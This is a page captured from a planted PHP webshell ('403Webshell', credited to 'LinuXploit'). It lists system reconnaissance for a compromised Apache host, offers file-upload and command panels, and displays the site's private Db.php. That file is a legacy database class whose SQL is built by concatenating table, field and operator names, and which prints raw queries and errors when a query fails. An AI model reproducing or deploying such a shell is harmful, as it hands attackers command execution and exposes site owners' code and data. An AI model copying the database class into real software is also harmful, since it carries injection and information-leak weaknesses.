403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/inc/Db.php
<?php


Class Db_Class
{
	var $fields=array();
	var $values=array();
	var $selects=array();
	var $wheres=array();
	var $data, $numRows;
	var $insertId;
	var $dbLink;
	
	function Db_Class()
	{
		db_connect();
	}
	
	
	function escape($str)
	{
		return trim(mysql_real_escape_string($str));
	}
	
	function set($field,$value)
	{
		$value=$this->escape($value);
		
		$this->fields[]=$field;
		$this->values[]=$value;
	}
	
	
	function select($fields)
	{
		$fields=explode(',',$fields);
		
		foreach ($fields as $k=>$field)
		{
			$this->selects[]=$field;
		}
	}
	
	function where($field,$value,$operator='=')
	{
		$x=count($this->wheres);
		
		$this->wheres[$x]['field']=$field;
		$this->wheres[$x]['value']=$this->escape($value);
		$this->wheres[$x]['op']=$operator;
	}
	
	
	function fetch($table)
	{
		$sql="SELECT";
		foreach ($this->selects as $field)
		{
			$sql.=' '.$field.',';
		}
		
		$sql=substr($sql,0,strlen($sql)-1);//Remove the trailing comma
		$sql.=' FROM '.$table;
		if (count($this->wheres) > 0)
		{
			 $sql.=' WHERE ';
			
			foreach ($this->wheres as $k=>$v)
			{
				extract($v);
				
				$sql.=$field.' '.$op." '".$value."'";
				
				if ($k < count($this->wheres)-1)
					$sql.=' AND ';
			}
		}
		
		$this->query($sql);
		
		$this->selects=array();
		$this->wheres=array();
	}
	
	
	
	function query($sql)
	{
		
		//echo "$sql <br /><br />";
		$this->clearAll();
		
		$result=mysql_query($sql) or die($sql.'<br /><br />'.mysql_error());
		
		if (! is_resource($result))
			return true;
			
			
		$this->numRows=mysql_num_rows($result);
		while ($data = mysql_fetch_assoc($result))
		{
			$x=count($this->data);
			foreach ($data as $k=>$v)
			{
				$this->data[$x][$k]=trim(stripslashes($v));
			}
		}
		mysql_free_result($result);
		
		return true;
	}
		
		
	function num_rows()
	{
		if (is_numeric($this->numRows) && $this->numRows >=1)
			return $this->numRows;
		else
			return 0;
	}
	
	
	
	function get($fieldName)
	{
		$return=array();
		
		foreach ($this->data as $k=>$v)
		{
			$return[]=$v[$fieldName];
		}
		return $return;	
	}
	
	
	function getSingle($fieldName)
	{
		return @$this->data[0][$fieldName];
	}		
	
	
	function getAll()
	{
		$return= $this->data;
		return $return;
	}
	
	function getAllSingle()
	{
		return $this->data[0];
	}
	
	
	function clearAll()
	{
		$this->data=array();
		$this->numRows=0;
	}
	
	
	function insert($table)
	{
		$fields=implode(',',$this->fields);
		$values="'".implode("','",$this->values)."'";
		
		$sql="INSERT INTO $table ($fields) VALUES($values)";
		$this->query($sql);
		
		$this->insertId=mysql_insert_id();
		
		$this->fields=array();
		$this->values=array();
	}
	
	
	function insert_id()
	{
		if (is_numeric($this->insertId) && $this->insertId > 0)
			return $this->insertId;
		else
			return 0;
	}
	
	
	
	function update($table)
	{
		$sql="UPDATE $table SET";
		
		foreach ($this->fields as $k=>$field)
		{
			$value=$this->values[$k];
			
			$sql.=" $field='$value',";
		}
		
		$sql=substr($sql,0,strlen($sql)-1);
		
		if (count($this->wheres) > 0)
		{
			 $sql.=' WHERE ';
			
			foreach ($this->wheres as $k=>$v)
			{
				extract($v);
				
				$sql.=$field.' '.$op." '".$value."'";
				
				if ($k < count($this->wheres)-1)
					$sql.=' AND ';
			}
		}
		
		$this->query($sql);
		
		$this->fields=array();
		$this->values=array();
		$this->wheres=array();
	}
	
	
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit